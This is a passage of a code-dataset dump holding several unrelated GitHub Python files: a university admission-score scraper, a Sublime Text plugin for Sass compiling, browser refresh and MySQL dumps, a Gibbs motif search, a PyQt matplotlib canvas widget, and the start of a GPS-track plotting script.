)\n","repo_name":"ImageEngine/cortex","sub_path":"python/IECoreMaya/TransformationMatrixParameterUI.py","file_name":"TransformationMatrixParameterUI.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","stars":510,"dataset":"github-code","pt":"3"} +{"seq_id":"31901958807","text":"import requests\nimport bs4\nfrom bs4 import BeautifulSoup\nimport re\nimport csv\n\ndef getHTMLText(url):\n '''读取url上的文本信息'''\n\n try:\n r = requests.get(url, timeout=30)\n r.raise_for_status() # 如果状态��是200，则引发HTTPError异常\n r.encoding = r.apparent_encoding\n return r.text\n except:\n return \"\"\n\ndef otherProvinceList(otherList, html):\n '''将读取的其他省份的分数文本信息存成一个列表'''\n\n # 解析html代码\n soup = BeautifulSoup(html, \"html.parser\")\n\n # 获得tbody标签下所有存放有用信息的tr标签\n trs = []\n for tr in soup.find('tbody').children:\n if isinstance(tr, bs4.element.Tag):\n trs.append(tr)\n trs = trs[6:]\n\n # 每一条tr标签生成3条不同年份的信息\n province = ''\n for tr in trs:\n tds = tr('td') # 获得该tr标签下的所有td标签\n\n # 处理特殊的tr标签下td标签的索引\n j = 0\n for i in range(len(tds)):\n match = re.match(r'^理|^文|综', tds[i].string)\n if match:\n j = i\n break\n if j != 0:\n province = tds[j-1].string\n\n # 生成3条不同年份的信息\n year = \"2019\"\n otherList.append([\"首都师范大学\", year, province, tds[j].string, \"all\",\n tds[j+1].string, \"09118130武逸仙\"])\n year = \"2018\"\n otherList.append([\"首都师范大学\", year, province, tds[j].string, \"all\",\n tds[j+4].string, \"09118130武逸仙\"])\n year = \"2017\"\n otherList.append([\"首都师范大学\", year, province, tds[j].string, \"all\",\n tds[j+7].string, \"09118130武逸仙\"])\n\ndef BeiJingList(BJList, html):\n '''将读取的北京的分数文本信息存成一个列表'''\n\n # 解析html代码\n soup = BeautifulSoup(html, \"html.parser\")\n\n # 获得tbody标签下所有存放有用信息的tr标签\n trs = []\n for tr in soup.find('tbody').children:\n if isinstance(tr, bs4.element.Tag):\n trs.append(tr)\n trs = trs[2:]\n\n # 每一条tr标签生成3条不同年份的信息\n province = \"北京\"\n major = ''\n for tr in trs:\n tds = tr('td') # 获得该tr标签下的所有td标签\n\n # 处理特殊的tr标签下td标签的索引\n j = 0\n for i in range(len(tds)):\n if tds[i].string == \"理\" or tds[i].string == \"文\":\n j = i\n break\n if j != 0:\n major = tds[j-1].string\n\n # 生成3条不同年份的信息\n year = \"2019\"\n BJList.append([\"首都师范大学\", year, province, tds[j].string, major,\n tds[j + 1].string, \"09118130武逸仙\"])\n year = \"2018\"\n BJList.append([\"首都师范大学\", year, province, tds[j].string, major,\n tds[j + 4].string, \"09118130武逸仙\"])\n year = \"2017\"\n BJList.append([\"首都师范大学\", year, province, tds[j].string, major,\n tds[j + 7].string, \"09118130武逸仙\"])\n\ndef store_to_csv(totalList):\n '''将爬取的信息存为一个csv文件'''\n\n headers = ['College', 'Year', 'Province', 'Category', 'Major', 'Score', 'Contributor']\n with open('09118130武逸仙-首都师范大学.csv','w') as f:\n f_csv = csv.writer(f)\n f_csv.writerow(headers)\n f_csv.writerows(totalList)\n\n\ntotalList = [] # 存放所有省份的分数信息\nBJList = [] # 存放北京的分数信息\n\notherUrl = \"http://bkzs.cnu.edu.cn/info/1019/1300.htm\"\notherHtml = getHTMLText(otherUrl) # 读取除北京外其他省份的分数文本信息\notherProvinceList(totalList, otherHtml) # 将文本信息转换为一个列表储存\n\nBJUrl = \"http://bkzs.cnu.edu.cn/info/1019/1299.htm\"\nBJHtml = getHTMLText(BJUrl) # 读取北京的分数文本信息\nBeiJingList(BJList, BJHtml) # 将文本信息转换为一个列表储存\n\ntotalList.extend(BJList)\nstore_to_csv(totalList) # 将爬取的信息存为csv文件\nprint(\"爬取成功！\")\n\n","repo_name":"eshoyuan/GaokaoRecommend","sub_path":"crawler/17-19录取分数爬虫/09118130首都师范大学.py","file_name":"09118130首都师范大学.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"} +{"seq_id":"13006177542","text":"import sublime_plugin\nimport subprocess\nimport sublime\nimport platform\nimport pprint\nimport os\nimport sys\nimport re\nimport os.path\nfrom threading import Thread\n\n# Fix windows imports\n__file__ = os.path.normpath(os.path.abspath(__file__))\n__path__ = os.path.dirname(__file__)\n\nif __path__ not in sys.path:\n\tsys.path.insert(0, __path__)\n\n_pywinauto = os.path.join(__path__ + os.path.sep + 'win')\nif _pywinauto not in sys.path:\n\tsys.path.insert(0, _pywinauto)\n\n# Cache user operating system\n_os = platform.system()\n\n\nclass SassListener(sublime_plugin.EventListener):\n\tdef on_post_save_async(self, view):\n\t\tprint('Sass Payload: Started!');\n\n\t\tsass_fired = False\n\n\t\tif os.path.isfile(view.file_name()) and view.file_name().split('.')[-1] == 'scss' or os.path.isfile(view.file_name()) and view.file_name().split('.')[-1] == 'sass':\n\n\t\t\t# Get file information from window\n\t\t\tfileName = view.file_name().split('/')[-1]\n\t\t\tdestinFileName = fileName[:-4] + 'css' \n\t\t\tprojectPath = view.window().folders()[0];\n\n\t\t\tprint('Original File:' + fileName)\n\n\t\t\t# Check to see if compiling base scss\n\t\t\ttry:\n\t\t\t\tif len(view.window().project_data()['folders'][0]['base_scss_file']) > 0:\n\t\t\t\t\tfileName = view.window().project_data()['folders'][0]['base_scss_file']\n\t\t\t\t\tdestinFileName = fileName[:-4] + 'css' \n\t\t\t\t\tx = 0\n\t\t\texcept KeyError:\n\t\t\t\tx = 0\t\t\t\n\n\t\t\t# Get the sass path from Project\n\t\t\tsassOrigin = projectPath + os.sep + view.window().project_data()['folders'][0]['sass_origin']\n\t\t\tsassOutput = projectPath + os.sep + view.window().project_data()['folders'][0]['sass_output']\n\t\t\t\n\t\t\tprint('INPUT FILE: ' + sassOrigin + os.sep + fileName);\n\t\t\tprint('INPUT FILE: ' + sassOutput + os.sep + destinFileName);\n\n\t\t\tif os.path.isfile(sassOrigin + os.sep + fileName) and os.path.isfile(sassOutput + os.sep + destinFileName):\n\n\t\t\t\t# Command to run\n\t\t\t\ttry:\n\t\t\t\t\tif view.window().project_data()['sass_debug'] is True:\n\t\t\t\t\t\tcmd = \"sass --style compact --debug-info --no-cache '{0}':'{1}' \".format(sassOrigin + os.sep + fileName, sassOutput + os.sep + destinFileName)\n\t\t\t\t\telse:\n\t\t\t\t\t\tcmd = \"sass --style compact --no-cache '{0}':'{1}' \".format(sassOrigin + os.sep + fileName, sassOutput + os.sep + destinFileName)\n\t\t\t\texcept KeyError:\n\t\t\t\t\tcmd = \"sass --style compact --no-cache '{0}':'{1}' \".format(sassOrigin + os.sep + fileName, sassOutput + os.sep + destinFileName)\n\n\t\t\t\t# Output the run command\n\t\t\t\tprint('SASS COMMAND : ' + cmd) \n\n\t\t\t\t# Run Command\n\t\t\t\ttry:\n\t\t\t\t\tif view.window().project_data()['sass_compiler_active'] is False:\n\t\t\t\t\t\tx = None\n\t\t\t\t\telse:\n\t\t\t\t\t\toutput = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\t\t\t\t\t\tout, err = output.communicate()\n\t\t\t\t\t\tsass_fired = True;\n\t\t\t\t\t\tview.set_status('codekit', 'Sass compiled')\t\n\t\t\t\t\t\tif out:\n\t\t\t\t\t\t\tself.debug_window(out.decode('utf-8'), view)\n\t\t\t\t\t\tif err:\n\t\t\t\t\t\t\tself.debug_window(err.decode('utf-8'), view)\n\t\t\t\texcept KeyError:\n\t\t\t\t\toutput = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\t\t\t\t\tout, err = output.communicate()\n\t\t\t\t\tsass_fired = True;\n\t\t\t\t\tview.set_status('codekit', 'Sass compiled')\t\n\t\t\t\t\tif out:\n\t\t\t\t\t\tself.debug_window(out.decode('utf-8'), view)\n\t\t\t\t\tif err:\n\t\t\t\t\t\tself.debug_window(err.decode('utf-8'), view)\n\n\t\t\telse:\n\t\t\t\tview.set_status('codekit', 'Sass project set incorrectly')\n\n\t\telse:\n\t\t\tview.set_status('codekit', 'File path incorrect')\n\n\t\t# Refresh Browser\n\t\ttry:\n\t\t\tif view.window().project_data()['sass_browser_refresh'] is None:\n\t\t\t\tx = 0\n\t\t\telse:\n\t\t\t\tif view.window().project_data()['sass_browser_refresh'] is True:\n\t\t\t\t\tif sass_fired == True:\n\t\t\t\t\t\tview.window().run_command('refresh_browsers_delay');\n\t\t\t\t\telse:\n\t\t\t\t\t\tview.window().run_command('refresh_browsers');\n\t\texcept KeyError:\n\t\t\tx = None\n\n\tdef debug_window(self, data, view):\n\n\t\tself.output_view = view.window().get_output_panel(\"log\")\n\t\tself.output_view.set_read_only(False)\n\t\t\n\t\tself.output_view.set_syntax_file(\"Packages/Diff/Diff.tmLanguage\")\n\t\targs = {\n\t\t\t'output': data,\n\t\t\t'clear': True\n\t\t}\n\t\tself.output_view.run_command('git_scratch_output', args)\n\n\t\tself.output_view.set_read_only(True)\n\t\tview.window().run_command(\"show_panel\", {\"panel\": \"output.log\"})\n\t\tview.set_status('codekit', 'Sass failed to compile')\n\n\nclass set_sass_status(sublime_plugin.TextCommand):\n\tdef run(self, edit):\n\t\titems = ['Compiler On', 'Compiler Off']\n\t\tself.view.window().show_quick_panel(items, self.on_done);\n\n\tdef on_done(self, item):\n\t\tprojectData = self.view.window().project_data()\n\t\t\n\t\tif item == 0:\n\t\t\tprojectData['sass_compiler_active'] = True;\n\t\t\tself.view.set_status('codekit', 'Compiler On')\n\t\telse:\n\t\t\tprojectData['sass_compiler_active'] = False;\n\t\t\tself.view.set_status('codekit', 'Compiler Off')\n\n\t\tself.view.window().set_project_data(projectData)\n\n\nclass set_browser_refresh(sublime_plugin.TextCommand):\n\tdef run(self, edit):\n\t\titems = ['Browser Refresh On', 'Browser Refresh Off']\n\t\tself.view.window().show_quick_panel(items, self.on_done);\n\n\tdef on_done(self, item):\n\t\tprojectData = self.view.window().project_data()\n\n\t\tprint(item)\n\t\t\n\t\tif item == 0:\n\t\t\tprojectData['sass_browser_refresh'] = True;\n\t\t\tself.view.set_status('codekit', 'Browser Refresh On')\n\t\telse:\n\t\t\tprojectData['sass_browser_refresh'] = False;\n\t\t\tself.view.set_status('codekit', 'Browser Refresh Off')\n\n\t\tself.view.window().set_project_data(projectData)\n\n\nclass set_debug_on(sublime_plugin.TextCommand):\n\t\tdef run(self, edit):\n\t\t\titems = ['Debug On', 'Debug Off']\n\t\t\tself.view.window().show_quick_panel(items, self.on_done);\n\n\t\tdef on_done(self, item):\n\t\t\tprojectData = self.view.window().project_data()\n\n\t\t\tprint(item)\n\t\t\t\n\t\t\tif item == 0:\n\t\t\t\tprojectData['sass_debug'] = True;\n\t\t\t\tself.view.set_status('codekit', 'Debug On')\n\t\t\telse:\n\t\t\t\tprojectData['sass_debug'] = False;\n\t\t\t\tself.view.set_status('codekit', 'Debug Off')\n\n\t\t\tself.view.window().set_project_data(projectData)\n\n\nclass refresh_browsers(sublime_plugin.TextCommand):\n\tdef run(self, args, activate_browser=False,\n\t\t\tbrowser_name='all', auto_save=True, delay=0):\n\n\t\tprint(args)\n\n\t\tprint('Refreshing Browsers')\n\n\t\t# Auto-save\n\t\tif auto_save and self.view and self.view.is_dirty():\n\t\t\tself.view.run_command('save')\n\n\t\t# Detect OS and import\n\t\tif _os == 'Darwin':\n\t\t\tfrom mac import MacBrowserRefresh\n\t\t\tfrom mac.utils import running_browsers\n\t\t\trefresher = MacBrowserRefresh(activate_browser, running_browsers())\n\t\telif _os == 'Windows':\n\t\t\tfrom win import WinBrowserRefresh\n\t\t\trefresher = WinBrowserRefresh(activate_browser)\n\t\telse:\n\t\t\tsublime.error_message('Your operating system is not supported')\n\n\t\t# Delay refresh\n\t\tif delay is not None:\n\t\t\timport time\n\t\t\ttime.sleep(delay)\n\n\t\t# Actually refresh browsers\n\t\tif browser_name == 'Google Chrome':\n\t\t\trefresher.chrome()\n\n\t\telif browser_name == 'Google Chrome Canary' and _os == 'Darwin':\n\t\t\trefresher.canary()\n\n\t\telif browser_name == 'Safari':\n\t\t\trefresher.safari()\n\n\t\telif browser_name == 'WebKit' and _os == 'Darwin':\n\t\t\trefresher.webkit()\n\n\t\telif browser_name == 'Firefox':\n\t\t\trefresher.firefox()\n\n\t\telif browser_name == 'Opera':\n\t\t\trefresher.opera()\n\n\t\telif browser_name == 'IE' and _os == 'Windows':\n\t\t\trefresher.ie()\n\n\t\telif browser_name == 'Iron' and _os == 'Windows':\n\t\t\trefresher.iron()\n\n\t\telif browser_name == 'all':\n\t\t\trefresher.chrome()\n\t\t\trefresher.safari()\n\t\t\trefresher.firefox()\n\t\t\trefresher.opera()\n\n\t\t\tif _os == 'Darwin':\n\t\t\t\trefresher.canary()\n\t\t\t\trefresher.webkit()\n\n\t\t\tif _os == 'Windows':\n\t\t\t\trefresher.ie()\n\t\t\t\trefresher.iron()\n\n\nclass refresh_browsers_delay(sublime_plugin.TextCommand):\n\tdef run(self, args, activate_browser=False,\n\t\t\tbrowser_name='all', auto_save=True, delay=0):\n\n\t\tprint(args)\n\n\t\tprint('Refreshing Browsers')\n\n\t\t# Auto-save\n\t\tif auto_save and self.view and self.view.is_dirty():\n\t\t\tself.view.run_command('save')\n\n\t\t# Detect OS and import\n\t\tif _os == 'Darwin':\n\t\t\tfrom mac import MacBrowserRefresh\n\t\t\tfrom mac.utils import running_browsers\n\t\t\trefresher = MacBrowserRefresh(activate_browser, running_browsers())\n\t\telif _os == 'Windows':\n\t\t\tfrom win import WinBrowserRefresh\n\t\t\trefresher = WinBrowserRefresh(activate_browser)\n\t\telse:\n\t\t\tsublime.error_message('Your operating system is not supported')\n\n\t\t# Delay refresh\n\t\tif delay is not None:\n\t\t\timport time\n\t\t\ttime.sleep(delay)\n\n\t\t# Actually refresh browsers\n\t\tif browser_name == 'Google Chrome':\n\t\t\trefresher.chrome()\n\n\t\telif browser_name == 'Google Chrome Canary' and _os == 'Darwin':\n\t\t\trefresher.canary()\n\n\t\telif browser_name == 'Safari':\n\t\t\trefresher.safari()\n\n\t\telif browser_name == 'WebKit' and _os == 'Darwin':\n\t\t\trefresher.webkit()\n\n\t\telif browser_name == 'Firefox':\n\t\t\trefresher.firefox()\n\n\t\telif browser_name == 'Opera':\n\t\t\trefresher.opera()\n\n\t\telif browser_name == 'IE' and _os == 'Windows':\n\t\t\trefresher.ie()\n\n\t\telif browser_name == 'Iron' and _os == 'Windows':\n\t\t\trefresher.iron()\n\n\t\telif browser_name == 'all':\n\t\t\trefresher.chrome()\n\t\t\trefresher.safari()\n\t\t\trefresher.firefox()\n\t\t\trefresher.opera()\n\n\t\t\tif _os == 'Darwin':\n\t\t\t\trefresher.canary()\n\t\t\t\trefresher.webkit()\n\n\t\t\tif _os == 'Windows':\n\t\t\t\trefresher.ie()\n\t\t\t\trefresher.iron()\n\n\n\nclass find_image_files(sublime_plugin.TextCommand):\n\timages = []\n\tdef run(self, edit):\n\t\timport os.path\n\t\tprojectDir = self.view.window().project_data()['folders'][0]['path']\n\t\t\n\t\tif _os == 'Windows':\n\t\t\ttry:\n\t\t\t\tif self.view.window().project_data()['follow_symlinks'] is True:\n\t\t\t\t\t\tfrom os.path import expanduser\n\t\t\t\t\t\thome = expanduser(\"~\");\n\t\t\t\t\t\tprojectDir = os.path.join(home, projectDir)\n\t\t\t\telse:\n\t\t\t\t\t\tprojectDir = projectDir[2:]\n\t\t\texcept KeyError:\n\t\t\t\tprojectDir = projectDir[2:]\n\t\t\t\t\n\t\tfor root, dirs, files in os.walk(projectDir):\n\t\t\tfor f in files:\n\t\t\t\tfullpath = os.path.join(root, f)\n\t\t\t\tif os.path.splitext(fullpath)[1] == '.png' or os.path.splitext(fullpath)[1] == '.jpg' or os.path.splitext(fullpath)[1] == '.gif' or os.path.splitext(fullpath)[1] == '.svg':\n\t\t\t\t\tself.images.append(fullpath.replace(projectDir, '').replace('\\\\','/'))\n\n\t\tself.view.window().show_quick_panel(self.images, self.on_done);\n\n\tdef on_done(self, index):\t\t\n\t\tif index > -1:\n\t\t\tprint(self.view.window().project_data()['folders'][0]['path'])\n\t\t\tself.view.run_command('insert', {\n\t\t\t 'characters': self.images[index],\n\t\t\t })\n\n\nclass get_rgba_fallback(sublime_plugin.TextCommand):\n\timageUrl = ''\n\tdef run(self, args):\n\t\tselection = self.view.sel()\n\n\t\tprint(selection)\n\n\t\tfor region in selection:\n\t\t\tfor line in self.view.lines(region):\n\t\t\t\t\n\t\t\t\tline_content = self.view.substr(line)\n\t\t\t\tdimensions = re.findall('rgba\\(([0-9]*),([0-9]*),([0-9]*),([0-9.]*)\\)', line_content ,re.DOTALL)\n\t\t\t\t\n\t\t\t\tpassed = True\n\n\t\t\t\ttry:\n\t\t\t\t\tdimensions[0][0]\n\t\t\t\t\tdimensions[0][1]\n\t\t\t\t\tdimensions[0][2]\n\t\t\t\t\tdimensions[0][3]\n\t\t\t\texcept IndexError:\n\t\t\t\t\tpassed = False\n\t\t\t\t\tprint('Error finding required param')\n\n\t\t\t\tif passed == True:\n\t\t\t\t\tself.imageUrl = \"http://rgbapng.com/?rgba={0},{1},{2},{3}\".format(dimensions[0][0],dimensions[0][1],dimensions[0][2],dimensions[0][3]);\n\t\t\t\t\tself.view.window().show_input_panel('File Name: ', self.view.window().project_data()['folders'][0]['path'], self.file_done, self.file_ignore, self.file_ignore)\n\n\tdef file_done(self, string):\n\t\timport urllib.request\n\t\turllib.request.urlretrieve(self.imageUrl, string)\n\n\tdef file_ignore(self, string):\n\t\treturn ''\n\n\nclass mysql_kit(sublime_plugin.TextCommand):\n\tdatabases = [];\n\ttables = [];\n\tselected_database = 0;\n\tselected_table = 0;\n\n\tdef run(self, args):\n\t\ts = sublime.load_settings('Codekit.sublime-settings');\n\n\t\tcommand = s.get('mysql_bin') + \"mysql -e 'show databases' -u {0} -p{1}\".format(s.get('mysql_user'), s.get('mysql_pass'));\n\n\t\toutput = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\t\tout, err = output.communicate()\n\n\t\tself.databases = [];\n\n\t\tif out:\n\n\t\t\tself.databases = out.decode('utf-8').split('\\n');\n\n\t\tif err:\n\t\t\tprint(err.decode('utf-8'))\n\n\t\tself.view.window().show_quick_panel(self.databases, self.on_done_database);\n\n\tdef on_done_database(self, index):\n\t\tself.selected_database = self.databases[index];\n\n\t\ts = sublime.load_settings('Codekit.sublime-settings');\n\n\t\tcommand = s.get('mysql_bin') + \"mysql -e 'show tables from {2}' -u {0} -p{1}\".format(s.get('mysql_user'), s.get('mysql_pass'), self.selected_database);\n\n\t\toutput = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\t\tout, err = output.communicate()\n\n\t\tself.tables = [];\n\n\t\tif out:\n\n\t\t\tself.tables = out.decode('utf-8').split('\\n');\n\n\t\tif err:\n\t\t\tprint(err.decode('utf-8'))\n\n\t\tsublime.set_timeout(lambda: self.view.window().show_quick_panel(self.tables, self.on_done_table), 10)\n\n\n\tdef on_done_table(self, index):\n\t\tself.selected_table = self.tables[index];\n\n\t\ts = sublime.load_settings('Codekit.sublime-settings');\n\n\t\tcommand = s.get('mysql_bin') + \"mysql -e 'show columns from {2}.{3}' --raw -u {0} -p{1}\".format(s.get('mysql_user'), s.get('mysql_pass'), self.selected_database, self.selected_table);\n\n\t\toutput = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\t\tout, err = output.communicate()\n\n\t\tself.tables = [];\n\n\t\tif out:\n\n\t\t\tself.debug_window(out.decode('iso8859-1'), self.view)\n\n\t\tif err:\n\t\t\tprint(err.decode('utf-8'))\n\n\n\tdef debug_window(self, data, view):\n\n\t\tself.output_view = view.window().get_output_panel(\"log\")\n\t\tself.output_view.set_read_only(False)\n\t\t\n\t\tself.output_view.set_syntax_file(\"Packages/Diff/Diff.tmLanguage\")\n\t\targs = {\n\t\t\t'output': data,\n\t\t\t'clear': True\n\t\t}\n\t\tself.output_view.run_command('git_scratch_output', args)\n\n\t\tself.output_view.set_read_only(True)\n\t\tview.window().run_command(\"show_panel\", {\"panel\": \"output.log\"})\n\t\tview.set_status('codekit', 'Sass failed to compile')\n\n\n\n\n\nclass dump_mysql(sublime_plugin.TextCommand):\n\n\tdatabases = [];\n\tselected_index = 0;\n\n\tdef run(self, args):\n\t\ts = sublime.load_settings('Codekit.sublime-settings');\n\n\t\tcommand = s.get('mysql_bin') + \"mysql -e 'show databases' -u {0} -p{1}\".format(s.get('mysql_user'), s.get('mysql_pass'));\n\n\t\toutput = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\t\tout, err = output.communicate()\n\n\t\tself.databases = [];\n\n\t\tif out:\n\n\t\t\tself.databases = out.decode('utf-8').split('\\n');\n\n\t\tif err:\n\t\t\tprint(err.decode('utf-8'))\n\n\t\tself.view.window().show_quick_panel(self.databases, self.on_done);\n\n\tdef on_done(self, index):\t\t\n\t\tif index > -1:\n\n\t\t\tfrom time import gmtime, strftime\n\t\t\ts = sublime.load_settings('Codekit.sublime-settings');\n\n\t\t\tself.selected_index = index;\n\n\t\t\tpath = self.view.window().project_data()['folders'][0]['path'] + \"/{0}/{1}-{2}.sql\".format(s.get('mysql_project_folder'), self.databases[index], str(strftime('%d-%m-%y---%H-%M')));\n\t\t\tself.selected_index = index;\n\t\t\tself.view.window().show_input_panel('Save Database as: ', path, self.dump_database, False, False)\n\n\tdef dump_database(self, value):\n\t\ts = sublime.load_settings('Codekit.sublime-settings');\n\t\tcommand = s.get('mysql_bin') + \"mysqldump '{3}' > '{2}' -u {0} -p{1}\".format(s.get('mysql_user'), s.get('mysql_pass'), value, self.databases[self.selected_index]);\n\n\t\t# print(command)\n\n\t\toutput = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n\t\tout, err = output.communicate()\n\n\t\tself.selected_index = False;\n\n\t\tif out:\n\t\t\tprint(out.decode('utf-8'))\n\t\tif err:\n\t\t\tprint(err.decode('utf-8'))\n\t\t\t\n\n\n\n","repo_name":"philipclifton/Sublime-Codekit","sub_path":"Codekit.py","file_name":"Codekit.py","file_ext":"py","file_size_in_byte":15240,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"12331014449","text":"#!/usr/bin/env python3\n\nfrom functools import reduce\nfrom random import randint, choices\n\n\ndef main():\n k, total_genomes, n = list(map(int, input().split()))\n genomes = []\n for _ in range(total_genomes):\n genomes.append(input().upper())\n\n best_motifs = summarized_gibbs_motif_search(k, genomes, n, 20)\n\n for motif in best_motifs:\n print(motif)\n\n\nACTG_MAP = {\n 'A': 0,\n 'C': 1,\n 'T': 2,\n 'G': 3,\n}\n\nACTG_REVERSE_MAP = {\n 0: 'A',\n 1: 'C',\n 2: 'T',\n 3: 'G'\n}\n\n\ndef _recount_profile(profile: list, genome: str) -> None:\n \"\"\"\n Include 'genome' into given 'profile' counts matrix\n \"\"\"\n for i in range(len(genome)):\n profile[i][ACTG_MAP[genome[i]]] += 1\n\n\ndef _profile(genomes: list) -> list:\n \"\"\"\n Generate a profile (counts) of the given 'genomes'\n \"\"\"\n result = [[1 for _ in range(4)] for _ in range(len(genomes[0]))]\n for genome in genomes:\n _recount_profile(result, genome)\n return result\n\n\ndef _profile_to_probs(profile: list, total_genomes: int) -> list:\n \"\"\"\n Convert a profile (with counts) to a profile of probabilities\n \"\"\"\n result = []\n for bases in profile:\n result.append([float(bases[i]) / (float(total_genomes) + 4.) for i in range(4)])\n return result\n\n\ndef _mer_probability(profile_probs: list, genome: str) -> float:\n \"\"\"\n Return probability of the given 'genome' in the given 'profile_probs'\n \"\"\"\n return reduce(\n lambda x, y: x * y,\n [profile_probs[i][ACTG_MAP[genome[i]]] for i in range(len(genome))]\n )\n\n\ndef _profile_consensus_mer(profile: list) -> str:\n \"\"\"\n Get a consensus mer from the given profile\n \"\"\"\n result = []\n for bases in profile:\n min_base = max(range(len(bases)), key=bases.__getitem__)\n result.append(ACTG_REVERSE_MAP[min_base])\n return ''.join(result)\n\n\ndef _score_mers(mers: list, consensus: str) -> int:\n \"\"\"\n Calculate the score of a mer list\n \"\"\"\n result = 0\n for mer in mers:\n for i in range(len(mer)):\n if mer[i] != consensus[i]:\n result += 1\n return result\n\n\ndef _random_probable_motif(profile_probs: list, k: int, genome: str):\n \"\"\"\n Return a random most-probable by the given profile motif from the given genome\n \"\"\"\n mers = []\n probabilities = []\n\n for k_start in range(len(genome) - k + 1):\n mers.append(genome[k_start:k_start + k])\n probabilities.append(reduce(\n lambda x, y: x * y,\n [profile_probs[i][ACTG_MAP[mers[-1][i]]] for i in range(len(mers[-1]))]\n ))\n\n return choices(mers, probabilities)[0]\n\n\ndef gibbs_motif_search(k: int, genomes: list, n: int) -> list:\n \"\"\"\n Find profile-best motifs of length 'k' in each of the 'genomes' using a randomized algorithm\n \"\"\"\n best_motifs = []\n for genome in genomes:\n r = randint(0, len(genomes[0]) - k)\n best_motifs.append(genome[r:r + k])\n best_motifs_score = _score_mers(best_motifs, _profile_consensus_mer(_profile_to_probs(_profile(best_motifs), len(best_motifs))))\n\n for j in range(n):\n i_rotate = randint(0, len(genomes) - 1)\n\n rotated_best_motifs = best_motifs[0:i_rotate]\n rotated_best_motifs.extend(best_motifs[i_rotate + 1:len(best_motifs)])\n\n profile_probs = _profile_to_probs(_profile(rotated_best_motifs), len(rotated_best_motifs))\n probable_motif = _random_probable_motif(profile_probs, k, genomes[i_rotate])\n\n rotated_best_motifs.insert(i_rotate, probable_motif)\n rotated_score = _score_mers(rotated_best_motifs, _profile_consensus_mer(_profile_to_probs(_profile(rotated_best_motifs), len(rotated_best_motifs))))\n if rotated_score < best_motifs_score:\n best_motifs = rotated_best_motifs\n best_motifs_score = rotated_score\n\n return best_motifs\n\n\ndef summarized_gibbs_motif_search(k: int, genomes: list, n: int, samples: int) -> list:\n \"\"\"\n Perform 'gibbs_motif_search()' 'samples' times\n \"\"\"\n randomized_search_results = []\n for _ in range(samples):\n randomized_search_results.append(gibbs_motif_search(k, genomes, n))\n\n result = []\n for i in range(len(genomes)):\n randomized_search_counts = {}\n randomized_search_max_count = 0\n randomized_search_max_motif = None\n\n for search_result in randomized_search_results:\n count = randomized_search_counts.get(search_result[i], 0) + 1\n if count > randomized_search_max_count:\n randomized_search_max_count = count\n randomized_search_max_motif = search_result[i]\n randomized_search_counts[search_result[i]] = count\n\n result.append(randomized_search_max_motif)\n\n return result\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"leskin-in/mipt-bioalgo","sub_path":"hw2/gibbs_motif_search.py","file_name":"gibbs_motif_search.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30974691515","text":"from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\n\nfrom PyQt5.QtWidgets import (QVBoxLayout)\n\nfrom ui.canvas.tool_bar.tool_bar import ToolBar\n\nfrom PyQt5.QtCore import Qt\n\nCANVAS_LAYOUT_RELATIVE_WIDTH = 75\n\nclass Canvas:\n \"\"\"A canvas widget for displaying a matplotlib figure.\n\n - Attributes:\n - canvas (FigureCanvas): An instance of FigureCanvasQTAgg representing the canvas for displaying the figure.\n - vertical_layout (QVBoxLayout): A QVBoxLayout object for organizing the toolbar and canvas vertically.\n - toolbar (ToolBar): An instance of the ToolBar class representing the toolbar for the canvas.\n\n - Methods:\n - __init__(window): Initialize a Canvas object.\n\n \"\"\"\n def __init__(self, window):\n self.canvas = FigureCanvas(window.figure)\n self.canvas.setFocusPolicy(Qt.StrongFocus)\n \n self.vertical_layout = QVBoxLayout()\n window.horizontal_layout.addLayout(self.vertical_layout, CANVAS_LAYOUT_RELATIVE_WIDTH)\n self.toolbar = ToolBar(self.canvas, window)\n\n self.vertical_layout.addWidget(self.toolbar.toolbar)\n self.vertical_layout.addWidget(self.canvas)","repo_name":"chinazys/3D_primitives_visualizer","sub_path":"src/ui/canvas/canvas.py","file_name":"canvas.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20898755826","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pygame\nfrom pygame import *\nimport time\nimport numpy as np\nimport random\nfrom math import atan2,cos,pi,sin\n\nc = (37.6193, 55.7506) # center\nr_out = 0.0462\nr_in = 0.0343\nc_out = (37.6231, 55.7267)\nc_in = (37.6536, 55.7504)\nl_top = (37.5775, 55.7742)\nr_bot = (37.66, 55.7261)\nSCALE = 5200\nfi = 55.75\nLENGTH = 15600\n\nprint(((c[0] - c_out[0])**2 + (c[1] - c_out[1])**2)**0.5)\nprint(((c[0] - c_in[0])**2 + (c[1] - c_in[1])**2)**0.5)\n\ndf = pd.read_csv(\"data_files/filtered_all.csv\",sep=\",\")\n\n#del df[df[\"uuid\"] in [74005, 93692, 104742]]\n\n# 1511\n#bad 74005 93692 104742\n#kruk 82255 84710 99235 104657\n\n# 1504\n#bad\n#kruk 80683 84442 84493 111948\n\ncolors = {}\nids = np.unique(df.uuid).tolist()\nfor id in ids:\n colors[id] =pygame.Color(random.randint(0,255),random.randint(0,255),random.randint(0,255))\nprint(ids)\n'''for id in ids:\n df1 = df[df.uuid == id]#[ df.y > 55.7][df.y < 55.8][df.x > 37.4][df.x < 37.7]\n x = df1.x\n y = df1.y\n plt.scatter(x,y,)\n print(id)\n plt.show()'''\n\n\ndf_stops = 